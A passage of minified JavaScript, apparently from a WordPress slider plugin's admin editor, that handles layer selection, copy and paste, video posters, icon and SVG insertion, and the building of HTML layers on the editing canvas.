n=RVS.F.getColumnsInRow({layerid:i[o]});for(var l in n)n.hasOwnProperty(l)&&(RVS.L[n[l]].group.columnbreakat=t.val,RVS.F.drawHTMLLayer({uid:n[l]}));RVS.F.drawHTMLLayer({uid:i[o]})}}),RVS.DOC.on("squareselection",function(){p({id:"#select_by_draw",remove:"#select_by_cursor, #select_by_cursor_add",add:!1,multi:!0})}),RVS.DOC.on("cursorselection",function(){p({id:"#select_by_cursor",remove:"#select_by_draw, #select_by_cursor_add",add:!1,multi:!1})}),RVS.DOC.on("cursorselectionadd",function(){p({id:"#select_by_cursor_add",remove:"#select_by_draw, #select_by_cursor",add:!0,multi:!1})}),RVS.DOC.on("lockLayer",function(e,t){RVS.F.lockUnlockLayers(t)}),RVS.DOC.on("showHideLayer",function(e,t){RVS.F.showHideLayers(t)}),RVS.DOC.on("frameAnimToCustom",function(e,t){}),RVS.DOC.on("click",".getLayerImageFromVimeo",function(){jQuery.ajax({type:"GET",url:"//vimeo.com/api/v2/video/"+jQuery("#layer_youtubevimeo_id").val()+".json",success:function(e){jQuery("#layer_video_poster").val(e[0].thumbnail_large).trigger("change")}})}),RVS.DOC.on("click",".getLayerImageFromYouTube",function(){var e=jQuery("#layer_youtubevimeo_id").val();jQuery("#layer_video_poster").val(location.protocol+"//img.youtube.com/vi/"+e+"/maxresdefault.jpg").trigger("change")}),RVS.DOC.on("click",".removeLayerPoster",function(){RVS.F.openBackupGroup({id:"VideoPosterChange",txt:"Change Video Poster",icon:"layers",lastkey:"layer"}),jQuery("#layer_video_poster").val(RVS.ENV.img_ph_url).trigger("change"),RVS.F.closeBackupGroup({id:"VideoPosterChange"})}),RVS.DOC.on("click",".resetVideoArguments",function(){var e=jQuery('input[name="layer_video_type"]:checked').val(),t="vimeo"===e?RVS.ENV.vimeoargs:"youtube"===e?RVS.ENV.youtubeargs:"";jQuery("#layer_video_arg").val(t).trigger("change")}),RVS.DOC.on("checkVideoID",function(e,t){if(void 0!==t&&void 0!==t.val){for(var i in RVS.F.openBackupGroup({id:"VideoTypeChange",txt:"Change Video Type",icon:"layers",lastkey:"layer"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&(_.uid=RVS.selLayers[i],_.l=RVS.L[_.uid],_.pre=RVS.S.slideId+".layers."+_.uid+".","vimeo"===t.val?(RVS.F.updateSliderObj({path:_.pre+"media.args",val:RVS.ENV.vimeoargs}),jQuery("#layer_video_arg").val(RVS.ENV.vimeoargs)):"youtube"===t.val&&(RVS.F.updateSliderObj({path:_.pre+"media.args",val:RVS.ENV.youtubeargs}),jQuery("#layer_video_arg").val(RVS.ENV.youtubeargs)),RVS.F.updateSliderObj({path:_.pre+"media.mediaType",val:t.val}));RVS.F.closeBackupGroup({id:"VideoTypeChange"})}var a=jQuery('input[name="layer_video_type"]:checked').val(),r=jQuery("#layer_youtubevimeo_id").val();"vimeo"===a&&RVS.F.checkVimeoID({id:r}),"youtube"===a&&RVS.F.checkYouTubeID({id:r})}),RVS.F.notChildrenOfList=function(e,t,i,a){return null==i[e]||""+e=="-1"||-1==jQuery.inArray(""+e,t)&&(""+i[e].group.puid!="-1"?-1==jQuery.inArray(""+i[e].group.puid,t):!!a)},RVS.DOC.on("do_duplicate_layer",function(){var e=[],t=[],i=[],a=[];for(var r in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(r)){var s=RVS.selLayers[r];e.push({type:RVS.L[s].type,duplicateId:s,ignoreBackupGroup:!0,ignoreLayerList:!0,ignoreOrderHTMLLayers:!0}),t.push(""+s),"column"===RVS.L[s].type&&-1===jQuery.inArray(RVS.L[s].group.puid,a)&&a.push(RVS.L[s].group.puid)}for(var o in RVS.F.openBackupGroup({id:"addLayer",txt:"Duplicate Layers",icon:"layers",lastkey:"layer"}),e)e.hasOwnProperty(o)&&RVS.F.notChildrenOfList(RVS.L[t[o]].group.puid,t,RVS.L,!0)&&i.push(RVS.F.addLayer(e[o],!0));if(a.length>0)for(var o in a)a.hasOwnProperty(o)&&void 0!==RVS.L[a[o]]&&RVS.F.fixColumnsInRows({layerid:a[o]});for(var o in RVS.F.buildLayerLists({force:!0,ignoreRebuildHTML:!0}),RVS.F.reOrderHTMLLayers(),i)i.hasOwnProperty(o)&&(RVS.F.updateDuplicatedLayerActionDependencies(i[o],t[o]),RVS.F.selectLayers({id:i[o],overwrite:!1,action:"add",ignoreUpdate:!0,ignoreFieldUpdates:!0}));RVS.F.selectedLayersVisualUpdate(),RVS.F.updateSelectedHtmlLayers(),RVS.F.updateZIndexTable(),RVS.F.closeBackupGroup({id:"addLayer"}),RVS.DOC.trigger("selectLayersDone")}),RVS.DOC.on("do_copy_layer",function(){window.copyPasteLayers={amount:0,layers:{}};var e=[],t=[];for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.selLayers[i];e.push({type:RVS.L[a].type,duplicateId:a,ignoreBackupGroup:!0,ignoreLayerList:!0,ignoreOrderHTMLLayers:!0,copyPaste:"copy",deep:RVS.F.isDeeperGroup(a)}),t.push(a)}for(var r in e)e.hasOwnProperty(r)&&RVS.F.addLayer(e[r],!0);jQuery("#do_paste_layer").removeClass("disabled")}),RVS.DOC.on("do_paste_layer",function(){var e,t=[],i=[],a=[],r=[],s=RVS.F.getFirstSelectedType("group"),o=RVS.F.getFirstSelectedType("column"),n=0==s?0==o?RVS.F.getFirstSelectedType("row"):o:s,l=[];for(var d in window.backupCopyPaste={...window.copyPasteLayers.layers},n=null==(n=0==n?"-1":void 0!==RVS.L[n]&&"row"==RVS.L[n].type?RVS.F.getColumnsInRow({layerid:n,type:"column"})[0]:n)||0==n||null==RVS.L[n]?"-1":n,window.copyPasteLayers.layers)if(window.copyPasteLayers.layers.hasOwnProperty(d)){var S=window.copyPasteLayers.layers[d].uid,c=window.copyPasteLayers.layers[d].group.puid,p=RVS.F.isDeeperGroup(window.copyPasteLayers.layers[d]);if(i.push(""+S),"-1"!=n||""+c!="-1"&&void 0===window.copyPasteLayers.layers[c]){switch(window.copyPasteLayers.layers[d].type){case"group":p||"-1"==n?c="-1":"column"==RVS.L[n].type?c=n:"group"==RVS.L[n].type&&""+RVS.L[n].group.puid=="-1"&&window.copyPasteLayers.layers[d].copiedFromUid==n&&"-1"!==n&&RVS.L[n].group.puid;break;case"column":void 0!==window.copyPasteLayers.layers[c]&&"row"===window.copyPasteLayers.layers[c].type||-1!==(c=!1!==n&&"-1"!==n&&"row"==RVS.L[n].type?n:RVS.F.addLayerToLayers({type:"row",alias:"row",buildHTMLLayer:!1,copyPaste:"copy"}))&&-1===jQuery.inArray(c,l)&&l.push(c);break;case"row":c="-1";break;default:c=c>=0&&c<=5e3&&void 0===window.copyPasteLayers.layers[c]?n:""+c=="-1"&&"-1"!==n?n:c}if(void 0!==RVS.L[c]&&"column"==RVS.L[c].type&&("-1"==window.copyPasteLayers.layers[d].group.puid||null==window.copyPasteLayers.layers[window.copyPasteLayers.layers[d].group.puid]||"column"!==window.copyPasteLayers.layers[window.copyPasteLayers.layers[d].group.puid].type))for(var u in RVS.V.sizes)if(RVS.V.sizes.hasOwnProperty(u)){var R=RVS.V.sizes[u];window.copyPasteLayers.layers[d].position.position="relative",window.copyPasteLayers.layers[d].position.horizontal[R].v="center",window.copyPasteLayers.layers[d].position.vertical[R].v="middle",window.copyPasteLayers.layers[d].position.x[R].v=0,window.copyPasteLayers.layers[d].position.y[R].v=0}window.copyPasteLayers.layers[d].group.puid=c}}for(var d in window.copyPasteLayers.layers)if(window.copyPasteLayers.layers.hasOwnProperty(d)&&RVS.F.notChildrenOfList(""+window.copyPasteLayers.layers[d].group.puid,i,window.backupCopyPaste)){var S=window.copyPasteLayers.layers[d].uid;t.push({type:window.copyPasteLayers.layers[d].type,duplicateId:S,ignoreBackupGroup:!0,ignoreLayerList:!0,ignoreOrderHTMLLayers:!0,copyPaste:"paste"}),a.push(""+S)}for(var V in RVS.F.openBackupGroup({id:"addLayer",txt:"Copy Paste Layers",icon:"layers",lastkey:"layer"}),t)t.hasOwnProperty(V)&&(r.push(e=RVS.F.addLayer(t[V])),"row"==RVS.L[e].type?l.push(e):"column"===RVS.L[e].type&&-1===jQuery.inArray(RVS.L[S].group.puid,l)&&l.push(RVS.L[S].group.puid));if(l.length>0)for(var V in l)l.hasOwnProperty(V)&&void 0!==RVS.L[l[V]]&&RVS.F.fixColumnsInRows({layerid:l[V]});for(var V in RVS.F.closeBackupGroup({id:"addLayer"}),RVS.F.buildLayerLists({force:!0,ignoreRebuildHTML:!0}),RVS.F.reOrderHTMLLayers(),r)r.hasOwnProperty(V)&&(RVS.F.updateDuplicatedLayerActionDependencies(r[V],window.copyPasteLayers.layers[a[V]].copiedFromUid),RVS.F.selectLayers({id:r[V],overwrite:!1,action:"add",ignoreUpdate:!0}));RVS.F.selectedLayersVisualUpdate(),RVS.F.updateSelectedHtmlLayers(),RVS.DOC.trigger("selectLayersDone"),window.copyPasteLayers.layers={...window.backupCopyPaste}}),RVS.DOC.on("insertContentFromOL",function(e,t){if("fonticons"==t.libraryType){var i="MaterialIcons"===t.tags[0]?"material-icons":t.handle.replace(".",""),a="MaterialIcons"===t.tags[0]?t.handle.replace(".",""):"";for(var r in RVS.F.openBackupGroup({id:"PreStyleLAyer",txt:"Prestyle Object Layer",icon:"layers",lastkey:"layer"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(r)&&(RVS.F.updateLayerObj({path:"text",val:'<i class="'+i+'">'+a+"</i>",ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"type",val:"text",ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"idle.fontSize."+RVS.screen+".v",val:"50px",ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"idle.lineHeight."+RVS.screen+".v",val:"50px",ignoreRedraw:!0}),RVS.H[RVS.selLayers[r]].c[0].innerHTML='<i class="'+i+'">'+a+"</i>",RVS.F.drawHTMLLayer({uid:RVS.selLayers[r]}));RVS.F.closeBackupGroup({id:"PreStyleLAyer"})}else if("svgs"===t.libraryType||"svgcustom"===t.libraryType){RVS.F.openBackupGroup({id:"PreStyleLAyer",txt:"Prestyle Object Layer",icon:"layers",lastkey:"layer"});var s=[];for(var r in RVS.selLayers)RVS.selLayers.hasOwnProperty(r)&&(s.push(RVS.selLayers[r]),"svgcustom"===t.libraryType?RVS.F.updateLayerObj({path:"idle.svg.originalColor",val:!0,ignoreRedraw:!0}):RVS.F.updateLayerObj({path:"idle.svg.originalColor",val:!1,ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"svg.source",val:t.img,ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"type",val:"svg",ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"size.width."+RVS.screen+".v",val:"100px",ignoreRedraw:!0}),RVS.F.updateLayerObj({path:"size.height."+RVS.screen+".v",val:"100px",ignoreRedraw:!0}));RVS.F.updateLayerSVGSrc({uids:s,src:t.img}),RVS.F.closeBackupGroup({id:"PreStyleLAyer"})}RVS.F.selectedLayersVisualUpdate(),RVS.F.updateSelectedHtmlLayers(),RVS.F.updateLayerInputFields()}),r()},RVS.F.allSelectedHasHover=function(){var e=!0;for(var t in RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(e=(!0===RVS.L[RVS.selLayers[t]].hover.usehover||"true"===RVS.L[RVS.selLayers[t]].hover.usehover||"desktop"===RVS.L[RVS.selLayers[t]].hover.usehover)&&e);return e},RVS.F.buildHTMLLayer=function(e){var t=RVS.L[e.uid],i=void 0!==RVS.H&&void 0!==RVS.H[e.uid]&&void 0!==RVS.H[e.uid].w?RVS.H[e.uid].w[0]:document.getElementById("_lc_"+RVS.S.slideId+"_"+e.uid+"_");if(RVS.H=null==RVS.H?{}:RVS.H,1==e.force||null==RVS.H||void 0===RVS.H[e.uid]||null===i){if(1==e.force||null==RVS.H||void 0===RVS.H[e.uid]){null!==i&&i.parentNode.removeChild(i);var s=RVS.F.cE({id:"_lc_"+RVS.S.slideId+"_"+e.uid+"_",cN:"_lc_ _lc_type_"+t.type,ds:{type:t.type,uid:e.uid,pid:t.group.puid,multiplemark:!0}}),o=RVS.F.cE({cN:"_lc_locked_bg_"}),n=RVS.F.cE({cN:"_lc_locked_"}),l=RVS.F.cI({c:"lock_outline"}),d=RVS.F.cE({t:"span",cN:"_tb_ _borders_"}),S=RVS.F.cE({t:"span",cN:"_bb_ _borders_"}),c=RVS.F.cE({t:"span",cN:"_rb_ _borders_"}),p=RVS.F.cE({t:"span",cN:"_lb_ _borders_"}),u=RVS.F.cE({cN:"_lc_loop_"}),R=RVS.F.cE({cN:"_lc_mask_"}),V=RVS.F.cE({cN:"_lc_iw_"}),y=RVS.F.cE({t:"div",cN:"_lc_content_"});if("column"===t.type||"row"===t.type)var m=RVS.F.cE({t:"span",cN:"_c_margins _topm_"}),f=RVS.F.cE({t:"span",cN:"_c_margins _botm_"}),g=RVS.F.cE({t:"span",cN:"_c_margins _lefm_"}),h=RVS.F.cE({t:"span",cN:"_c_margins _rigm_"}),v=RVS.F.cE({t:"span",cN:"_c_paddings _topp_"}),_=RVS.F.cE({t:"span",cN:"_c_paddings _botp_"}),L=RVS.F.cE({t:"span",cN:"_c_paddings _lefp_"}),w=RVS.F.cE({t:"span",cN:"_c_paddings _rigp_"});if(n.appendChild(l),u.appendChild(R),R.appendChild(V),V.appendChild(y),s.appendChild(o),s.appendChild(n),s.appendChild(d),s.appendChild(S),s.appendChild(c),s.appendChild(p),s.appendChild(u),"column"!==t.type&&"row"!==t.type||(s.appendChild(m),s.appendChild(f),s.appendChild(g),s.appendChild(h),s.appendChild(L),s.appendChild(w),s.appendChild(_),s.appendChild(v)),-1===t.group.puid||"row"===t.type?"row"==t.type&&RVS.C.rZone[t.group.puid]?a({container:RVS.C.rZone[t.group.puid],layer:s,uid:e.uid,type:"._lc_type_row"}):RVS.C.layergrid[0].appendChild(s):"column"===t.type?a({container:RVS.H[t.group.puid].c,layer:s,uid:e.uid,type:"._lc_type_column"}):void 0!==RVS.H[t.group.puid]?a({container:RVS.H[t.group.puid].c,layer:s,uid:e.uid,type:"._lc_"}):t.group.puid=-1,void 0!==t.idle.style&&t.idle.style.length>0&&(s.className+=" "+t.idle.style),RVS.H[e.uid]={w:jQuery(s),last_puid:t.group.puid,last_groupOrder:t.group.groupOrder},RVS.H[e.uid].m=R,RVS.H[e.uid].lp=u,RVS.H[e.uid].iw=V,RVS.H[e.uid].c=jQuery(y),void 0!==RVS.F.buildHTMLLayerSub&&void 0!==RVS.F.buildHTMLLayerSub[t.subtype]&&(RVS.H[e.uid].subc=RVS.F.buildHTMLLayerSub[t.subtype](t.subsubtype),void 0!==RVS.H[e.uid].subc))for(var b in RVS.H[e.uid].subc.attach)y.appendChild(RVS.H[e.uid].subc[RVS.H[e.uid].subc.attach[b]]);"column"!==t.type&&"row"!==t.type||(RVS.H[e.uid].margins={top:m,bottom:f,left:g,right:h},RVS.H[e.uid].paddings={top:v,bottom:_,left:L,right:w}),RVS.H[e.uid].borders={top:d,bottom:S,left:p,right:c}}var I,F;switch(t.type){case"svg":RVS.H[e.uid].c[0].innerHTML=t.svg.renderedData,RVS.H[e.uid].svg=RVS.H[e.uid].w.find("svg"),RVS.H[e.uid].svgPath=RVS.H[e.uid].w.find(t.idle.svg.styleAll?"svg path, svg circle, svg ellipse, svg line, svg polygon, svg polyline, svg rect":"svg path");break;case"image":null===RVS.H[e.uid].w[0].querySelector("._lc_img_placeholder")&&RVS.H[e.uid].c[0].appendChild(RVS.F.cE({cN:"_lc_img_placeholder",icon:{c:"filter_hdr"}})),null===RVS.H[e.uid].w[0].querySelector("._lc_image_inside_")&&((I=RVS.F.cE({t:"img",cN:"_lc_image_inside_",ds:{ow:t.size.originalWidth,oh:t.size.originalHeight}})).src=t.media.imageUrl,RVS.H[e.uid].c[0].appendChild(I)),t.media.imageUrl===RVS.ENV.img_ph_url&&RVS.H[e.uid].c[0].classList.add("placeholder_on");break;case"video":null===RVS.H[e.uid].w[0].querySelector("._lc_img_placeholder")&&RVS.H[e.uid].c[0].appendChild(RVS.F.cE({cN:"_lc_img_placeholder",icon:{c:"videocam"}})),null===RVS.H[e.uid].w[0].querySelector("._lc_video_title_")?((F=RVS.F.cE({cN:"_lc_video_title_"})).textContent=t.media.mediaType,RVS.H[e.uid].c[0].appendChild(F),RVS.H[e.uid].vtitle=F):void 0===RVS.H[e.uid].vtitle&&(RVS.H[e.uid].vtitle=RVS.H[e.uid].w[0].querySelector("._lc_video_title_")),null===RVS.H[e.uid].w[0].querySelector("._lc_video_placeholder_")&&RVS.H[e.uid].c[0].appendChild(RVS.F.cE({cN:"_lc_video_placeholder_"})),null===RVS.H[e.uid].w[0].querySelector("._lc_video_overlay")?(RVS.H[e.uid].volay=RVS.F.cE({cN:"_lc_video_overlay"}),RVS.H[e.uid].c[0].appendChild(RVS.H[e.uid].volay)):void 0===RVS.H[e.uid].volay&&(RVS.H[e.uid].volay=RVS.H[e.uid].w[0].querySelector("._lc_video_overlay")),t.media.posterUrl===RVS.ENV.img_ph_url&&RVS.H[e.uid].c[0].classList.add("placeholder_on");break;case"audio":null===RVS.H[e.uid].w[0].querySelector("._lc_img_placeholder")&&RVS.H[e.uid].c[0].append(RVS.F.cE({cN:"_lc_img_placeholder",icon:{c:"audiotrack"}})),null===RVS.H[e.uid].w[0].querySelector("audio")&&RVS.H[e.uid].c.append("<audio controls></audio>"),!1===t.media.controls?RVS.H[e.uid].c[0].classList.add("placeholder_on"):RVS.H[e.uid].c[0].classList.remove("audio_controls_on");break;case"group":void 0===RVS.H[e.uid].bg&&(null===RVS.H[e.uid].w[0].querySelector(":scope > ._lc_extra_bg")?(RVS.H[e.uid].bg=RVS.F.cE({cN:"_lc_extra_bg"}),RVS.H[e.uid].w[0].appendChild(RVS.H[e.uid].bg)):RVS.H[e.uid].bg=RVS.H[e.uid].w[0].querySelector(":scope > ._lc_extra_bg")),null===RVS.H[e.uid].w[0].querySelector("._lc_group_placeholder")&&RVS.H[e.uid].c[0].append(RVS.F.cE({cN:"_lc_group_placeholder",icon:{c:"format_shapes"}})),null===RVS.H[e.uid].w[0].querySelector("._group_lock_")&&RVS.H[e.uid].c[0].append(RVS.F.cE({cN:"_group_lock_",icon:{c:"layers"}})),null===RVS.H[e.uid].w[0].querySelector("._group_head_")&&(RVS.H[e.uid].w.append('<div class="_group_head_"><span id="_group_head_title_'+RVS.S.slideId+"_"+e.uid+'" class="_group_head_title_">'+t.alias+'</span><div data-uid="'+e.uid+'" class="_group_lock_toggle_"><i class="group_lock_icon material-icons">layers_clear</i><i class="group_lockopen_icon material-icons">layers</i></div></div>'),RVS.H[e.uid].gpH=RVS.H[e.uid].w[0].getElementsByClassName("_group_head_")[0],RVS.H[e.uid].gpHT=RVS.H[e.uid].w[0].getElementsByClassName("_group_head_title_")[0]);break;case"row":void 0===RVS.H[e.uid].bg&&(null===RVS.H[e.uid].w[0].querySelector(":scope > ._lc_extra_bg")?(RVS.H[e.uid].bg=RVS.F.cE({cN:"_lc_extra_bg"}),RVS.H[e.uid].w[0].appendChild(RVS.H[e.uid].bg)):RVS.H[e.uid].bg=RVS.H[e.uid].w[0].querySelector(":scope > ._lc_extra_bg"));break;case"column":void 0===RVS.H[e.uid].bg&&(null===RVS.H[e.uid].w[0].querySelector(":scope > ._lc_extra_bg_wrap")?(RVS.H[e.uid].bg=RVS.F.cE({cN:"_lc_extra_bg"}),RVS.H[e.uid].bgmask=RVS.F.cE({cN:"_lc_extra_bg_wrap"}),RVS.H[e.uid].bgmask.appendChild(RVS.H[e.uid].bg),RVS.H[e.uid].w[0].appendChild(RVS.H[e.uid].bgmask)):(RVS.H[e.uid].bgmask=RVS.H[e.uid].w[0].querySelector(":scope > ._lc_extra_bg_wrap"),RVS.H[e.uid].bg=RVS.H[e.uid].bgmask.querySelector(":scope > ._lc_extra_bg")));break;case"shape":null===RVS.H[e.uid].w[0].querySelector("._lc_stream_placeholder")&&RVS.H[e.uid].c[0].appendChild(RVS.F.cE({cN:"_lc_stream_placeholder",icon:{c:"cast"}})),t.idle.bgFromStream&&RVS.H[e.uid].c[0].classList.add("placeholder_on")}t.linebreak&&RVS.H[e.uid].w[0].classList.add("rs-linebreak")}void 0===RVS.S.initDragAndResizeonHTMLLayers&&(RVS.S.initDragAndResizeonHTMLLayers=!0,RVS.C.UL[0].addEventListener("mouseenter",function(e){if(e.target&&e.target.classList&&e.target.classList.contains("_lc_")){var t=e.target;if(RVS.F.updateGroupHeader({uid:t.dataset.uid,delay:.1}),void 0===t.dataset.dragandresize&&(t.dataset.dragandresize=!0,"column"!==t.dataset.type&&"row"!==t.dataset.type&&RVS.F.doDraggable({uid:t.dataset.uid,drag:!0,resize:!0}),jQuery.inArray(t.dataset.type,["text","button","svg","shape","group"])>=0&&(void 0===RVS.H[t.dataset.uid].sclr||null===RVS.H[t.dataset.uid].w[0].querySelector(":scope >._lc_reScaler")))){var i=RVS.F.cE({cN:"_lc_reScaler"}),a=RVS.F.cE({cN:"_lc_reScaler_pin"}),s=RVS.F.cE({cN:"_lc_reScaler_icon"});i.appendChild(a),i.appendChild(s),RVS.H[t.dataset.uid].w[0].appendChild(i),RVS.H[t.dataset.uid].sclr=jQuery(a),r(RVS.H[t.dataset.uid].sclr)}}},!0),RVS.DOC.on("mouseleave","._lc_",function(){RVS.F.updateGroupHeader({uid:this.dataset.pid})})),"text"===t.type||"button"==t.type?(RVS.F.redrawTextLayerInnerHTML(e.uid),!0!==e.ignoreDrawLayers&&RVS.F.drawHTMLLayer({uid:e.uid})):"svg"===t.type?void 0===t.svg.renderedData||void 0!==t.svg.source&&t.svg.source.length>4?jQuery.get(t.svg.source,function(i){RVS.H[e.uid].c[0].innerHTML=t.svg.renderedData=(new XMLSerializer).serializeToString(i.documentElement),RVS.H[e.uid].svg=RVS.H[e.uid].w.find("svg"),RVS.H[e.uid].svgPath=RVS.H[e.uid].w.find(t.idle.svg.styleAll?"svg path, svg circle, svg ellipse, svg line, svg polygon, svg polyline, svg rect":"svg path"),RVS.F.drawHTMLLayer({uid:e.uid})}):!0!==e.ignoreDrawLayers&&RVS.F.drawHTMLLayer({uid:e.uid}):"image"===t.type&&void 0!==t.media.imageUrl&&null!==t.media.imageUrl&&t.media.imageUrl.length>0&&void 0!==t.media&&!0!==t.media.loaded?(tpGS.gsap.set(RVS.H[e.uid].w,{visibility:"hidden"}),RVS.F.preloadImage({uid:e.uid,slideId:RVS.S.slideId,image:t.media.imageUrl,silent:!1,callback:function(){tpGS.gsap.set(RVS.H[e.uid].w,{visibility:"visible"}),!0!==e.ignoreDrawLayers&&RVS.F.drawHTMLLayer({uid:e.uid})}})):!0!==e.ignoreDrawLayers&&RVS.F.drawHTMLLayer({uid:e.uid})},RVS.F.updateGroupHeader=function(e){let t=RVS.F.getTopParent({layer:e.uid}),i="",a=0;-1==t&&-1==e.uid&&null==e.delay&&void 0!==RVS.L[RVS.S.lastHoveredLayer]&&"group"==RVS.L[RVS.S.lastHoveredLayer].type&&RVS.H[RVS.S.lastHoveredLayer].w[0].classList.contains("hasSelectedChild")&&("multiple"===RVS.H[RVS.S.lastHoveredLayer].w[0].dataset.selectedchild?i="multiple":(t=RVS.S.lastHoveredLayer,e.uid=RVS.H[RVS.S.lastHoveredLayer].w[0].dataset.selectedchild)),e.delay=null==e.delay?0:e.delay,"multiple"===i?(t=RVS.S.lastHoveredLayer,a=1):void 0!==t&&void 0!==RVS.L[t]&&"group"==RVS.L[t].type&&void 0!==RVS.H[t]&&void 0!==RVS.L[e.uid]?(a+=(t!=RVS.L[e.uid].group.puid?1:0)+(t!=e.uid?1:0),i=RVS.L[t].alias+(t!=RVS.L[e.uid].group.puid?" / "+RVS.L[RVS.L[e.uid].group.puid].alias:"")+(t!=e.uid?" / "+RVS.L[e.uid].alias:"")):void 0!==RVS.L[e.uid]&&"group"==RVS.L[e.uid].type&&(t=e.uid,i=RVS.L[e.uid].alias),""!==i&&(e.delay>0&&clearTimeout(RVS.S.updateHeaderTextTimer),RVS.S.updateHeaderTextTimer=setTimeout(function(){requestAnimationFrame(function(){RVS.F.checkAndWriteGroupHeader({gid:t,t:i,level:a})})},e.delay)),RVS.S.lastHoveredLayer=e.uid},RVS.F.checkAndWriteGroupHeader=function(e){"multiple"===e.t?e.t=RVS_LANG.multiplechildrensel:(e.level>0&&6.5*e.t.length>RVS.H[e.gid].gpH.offsetWidth&&(e.t=".."+e.t.substr(e.t.indexOf(" / ")),e.level>1&&6.5*e.t.length>RVS.H[e.gid].gpH.offsetWidth&&(e.t=".. / .. "+e.t.substr(e.t.lastIndexOf(" / ")))),e.level>0&&(e.t='<span class="sub_text_block">'+e.t,e.t=e.t.substr(0,e.t.lastIndexOf(" / "))+"</span>"+e.t.substr(e.t.lastIndexOf(" / ")))),RVS.H[e.gid].gpHT.innerHTML=e.t},RVS.F.reOrderHTMLLayer=function(e){if(null!=RVS.H&&void 0!==RVS.H[e.uid]&&void 0!==RVS.H[e.uid].w){var t=RVS.L[e.uid],i=RVS.H[e.uid].w,r=RVS.H[e.uid].last_puid===t.group.puid&&RVS.H[e.uid].last_groupOrder===t.group.groupOrder;RVS.H[e.uid].last_puid=t.group.puid,RVS.H[e.uid].last_groupOrder=t.group.groupOrder,-1===t.group.puid||"row"===t.type?"row"==t.type?a({container:RVS.C.rZone[t.group.puid],layer:i[0],uid:e.uid,type:"._lc_type_row"}):RVS.C.layergrid[0].appendChild(i[0]):"column"===t.type?a({container:RVS.H[t.group.puid].c,layer:i[0],uid:e.uid,type:"._lc_type_column"}):a({container:RVS.H[t.group.puid].c,layer:i[0],uid:e.uid,type:"._lc_"}),r||RVS.S.redrawHTMLLayersList.push(e.uid)}},RVS.F.checkRowsChildren=function(){for(var e in RVS.L)if(RVS.L.hasOwnProperty(e)&&("row"==RVS.L[e].type||"group"==RVS.L[e].type)){var t=RVS.F.getLayerChildren({layerid:e}),i=0;for(var a in t)"column"!==t[a].type&&i++;i>0?RVS.H[e].w.removeClass("nocontent"):RVS.H[e].w.addClass("nocontent")}},RVS.F.addLayerToLayers=function(e){var t;return void 0!==e.layerobject?((t=jQuery.extend(!0,{},e.layerobject)).uid="copy"===e.copyPaste?"copy"+window.copyPasteLayers.amount:RVS.F.getUniqueid(),(t=RVS.F.addLayerObj(t)).alias=void 0!==e.prefix?e.prefix+" "+t.alias.replace(/Copy/g,""):"Copy "+t.alias.replace(/Copy/g,"")):t=RVS.F.addLayerObj(e.type),e.extension&&(t=jQuery.extend(!0,t,e.extension)),e.subsubtype&&e.subextension&&(t=jQuery.extend(!0,t,e.subextension)),t.group.puid=void 0!==e.puid?e.puid:t.group.puid,e.newGroupOrder&&"copy"!==e.copyPaste&&(t.group.groupOrder=function(e){e.type=void 0===e.type?"column":e.type;var t=RVS.F.getColumnsInRow({layerid:e.uid,type:e.type}),i=0;for(var a in t)t.hasOwnProperty(a)&&(i=parseInt(i,0)<=parseInt(RVS.L[t[a]].group.groupOrder,0)?parseInt(RVS.L[t[a]].group.groupOrder,0)+1:i);return i}({uid:t.group.puid,type:t.type})),t.alias=void 0!==e.extension&&void 0!==e.extension.alias?e.extension.alias+"-"+t.uid:void 0!==e.alias?e.alias+"-"+t.uid:t.alias,"copy"===e.copyPaste?(window.copyPasteLayersSlideId=RVS.S.slideId,window.copyPasteLayers.amount++,t.copiedFromUid=e.layerobject.uid,window.copyPasteLayers.layers[t.uid]=t):(void 0!==e.layerobject&&RVS.F.duplicateSkinColors({type:"layer",layerFrom:void 0!==e.layerobject.copiedFromUid?e.layerobject.copiedFromUid:e.layerobject.uid,layerTo:t.uid,slideFrom:window.copyPasteLayersSlideId,slideTo:RVS.S.slideId}),delete t.copiedFromUid,RVS.SLIDER[RVS.S.slideId].layers[t.uid]=t,RVS.F.backup({path:t.uid,icon:"layers",txt:"Create New Layer",lastkey:"newlayer",force:!0,slideid:RVS.S.slideId,val:jQuery.extend(!0,{},RVS.SLIDER[RVS.S.slideId]).layers[t.uid],old:{},backupType:"layer",bckpGrType:"addlayer"})),e.buildHTMLLayer&&"copy"!==e.copyPaste&&RVS.F.buildHTMLLayer({uid:t.uid}),t.uid},RVS.F.extendLayerTypes=function(e){if(RVS.S.extendedLayerTypes=void 0===RVS.S.extendedLayerTypes?{}:RVS.S.extendedLayerTypes,void 0===RVS.S.extendedLayerTypes[e.subtype]){var t;if(e.extension.subtype=e.subtype,RVS.S.extendedLayerTypes[e.subtype]={type:e.type,subtype:e.subtype,extension:e.extension,subextension:e.subextension},e.subdrop){if(t='<div id="toolbar_add_layer_'+e.alias+'" class="toolbar_dd_subdrop_wrap">',e.objLibInMainMenu?t+='<div class="add_layer" data-type="'+e.type+'" data-subtype="object_library" data-libevent="'+e.libevent+'" data-extensiongroup="'+e.subtype+'" data-libfilters="'+e.libfilters+'"><i class="material-icons">'+e.icon+"</i>"+e.alias+"</div>":t+='<div class="add_layer" data-type="'+e.type+'" data-subtype="'+e.subtype+'"><i class="material-icons">'+e.icon+"</i>"+e.alias+"</div>",t+='<div class="toolbar_dd_subdrop">',e.objectlibrary&&(t+='<div class="add_layer" data-type="'+e.type+'" data-subtype="object_library" data-libevent="'+e.libevent+'" data-extensiongroup="'+e.subtype+'" data-libfilters="'+e.libfilters+'"><i class="material-icons">style</i>Object Library</div>'),e.emptyplaceholder&&(t+='<div class="add_layer" data-type="'+e.type+'" data-subtype="'+e.subtype+'"><i class="material-icons">flip_to_back</i>Empty Placeholder</div>'),e.subList)for(var i in e.subList)e.subList.hasOwnProperty(i)&&(t+='<div class="add_layer" '+(e.subList[i].fromobjlib?'data-fromobjlib="true"':"")+(e.subList[i].objLibInSubMenu?'data-subtype="object_library"':"")+" 